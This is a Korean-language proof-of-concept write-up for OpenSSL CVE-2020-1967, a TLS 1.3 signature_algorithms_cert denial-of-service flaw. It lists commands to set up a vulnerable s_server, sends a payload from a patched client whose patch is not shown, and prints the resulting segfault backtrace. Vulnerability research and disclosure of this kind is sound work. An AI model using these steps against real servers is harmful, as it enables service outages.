
OpenSSL CVE-2020-1967에 대한 개념 증명 익스플로잇으로, TLS 1.3의 signature_algorithms_cert 처리에서 발생하는 서비스 거부(DoS) 취약점이며, 재현 단계와 크래시 분석을 포함합니다.
OpenSSL signature_algorithms_cert DoS 결함(CVE-2020-1967)에 대한 개념 증명 익스플로잇. 원본 발견은 Bernd Edlinger, 추가 분석은 Matt Caswell과 Benjamin Kaduk, 이 데모는 Imre Rad에 의한 것입니다.
TLS 1.3 핸드셰이크 중 또는 이후에 SSL_check_chain() 함수를 호출하는 서버 또는 클라이언트 애플리케이션. 문서에 따르면, SSL_check_chain()은 인증서 x, 개인 키 pk 및 인증서 체인 chain이 현재 세션 s와 함께 사용하기 적합한지 확인합니다. 이 함수 호출은 널리 사용되는 Apache httpd 또는 Nginx 프로젝트에는 존재하지 않습니다.
이 취약점을 익스플로잇하려면, 조작된 signature_algorithms_cert TLS 확장이 Hello 메시지의 일부로 제출되어야 합니다. 저는 그러한 클라이언트를 구축하기 위해 패치된 openssl 라이브러리 버전을 사용했습니다. 서버는 SSL_check_chain을 호출하는 코드 경로를 활성화하는 -x 옵션과 함께 내장된 s_server openssl 앱입니다.
Debian stable에서 서버 설정 (취약한 버전을 명시적으로 사용):
root@489def7f3594:/data# apt install libssl1.1=1.1.1d-0+deb10u2 openssl=1.1.1d-0+deb10u2
...
root@489def7f3594:/data# openssl version
OpenSSL 1.1.1d 10 Sep 2019
root@489def7f3594:/data# openssl s_server -cert cert.pem -key key.pem -accept 8443 -verify 1 -tls1_3 -xkey key.pem -xcert cert.pem -xchain cert.pem
verify depth is 1
Using default temp DH parameters
ACCEPT
패치된 클라이언트를 사용하여 페이로드 전송:
root@489def7f3594:/data# /path/to/patched/openssl s_client -connect 127.0.0.1:8443 -tls1_3 -cert cert.pem -key key.pem -sigalgs rsa_pss_rsae_sha256
CONNECTED(00000004)
Sending CVE-2020-1967 payload
...
그리고 이 시점에서 서버는 segfault가 발생할 것으로 예상됩니다. 코어 덤프는 다음과 같습니다:
root@489def7f3594:/data/1# gdb /data/openssl-1.1.1d/apps/openssl core
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /data/openssl-1.1.1d/apps/openssl...
(No debugging symbols found in /data/openssl-1.1.1d/apps/openssl)
[New LWP 26319]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `/data/openssl-1.1.1d/apps/openssl s_server -cert cert.pem -key key.pem -accept'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007f09bcff3770 in tls1_check_sig_alg.part.0.cold () from /data/openssl-1.1.1d/libssl.so
(gdb) bt
#0 0x00007f09bcff3770 in tls1_check_sig_alg.part.0.cold () from /data/openssl-1.1.1d/libssl.so
#1 0x00007f09bd03f309 in tls1_check_chain () from /data/openssl-1.1.1d/libssl.so
#2 0x00007f09bd403fc8 in set_cert_cb ()
#3 0x00007f09bd037f75 in tls_post_process_client_hello () from /data/openssl-1.1.1d/libssl.so
#4 0x00007f09bd02703f in state_machine.part () from /data/openssl-1.1.1d/libssl.so
#5 0x00007f09bcffa3f8 in ssl3_write_bytes () from /data/openssl-1.1.1d/libssl.so
#6 0x00007f09bd00fbb9 in ssl_write_internal () from /data/openssl-1.1.1d/libssl.so
#7 0x00007f09bd00fd07 in SSL_write () from /data/openssl-1.1.1d/libssl.so
#8 0x00007f09bd3e337d in sv_body ()
#9 0x00007f09bd40757a in do_server ()
#10 0x00007f09bd3e7c27 in s_server_main ()
#11 0x00007f09bd3cea46 in do_cmd ()
#12 0x00007f09bd3b89fd in main ()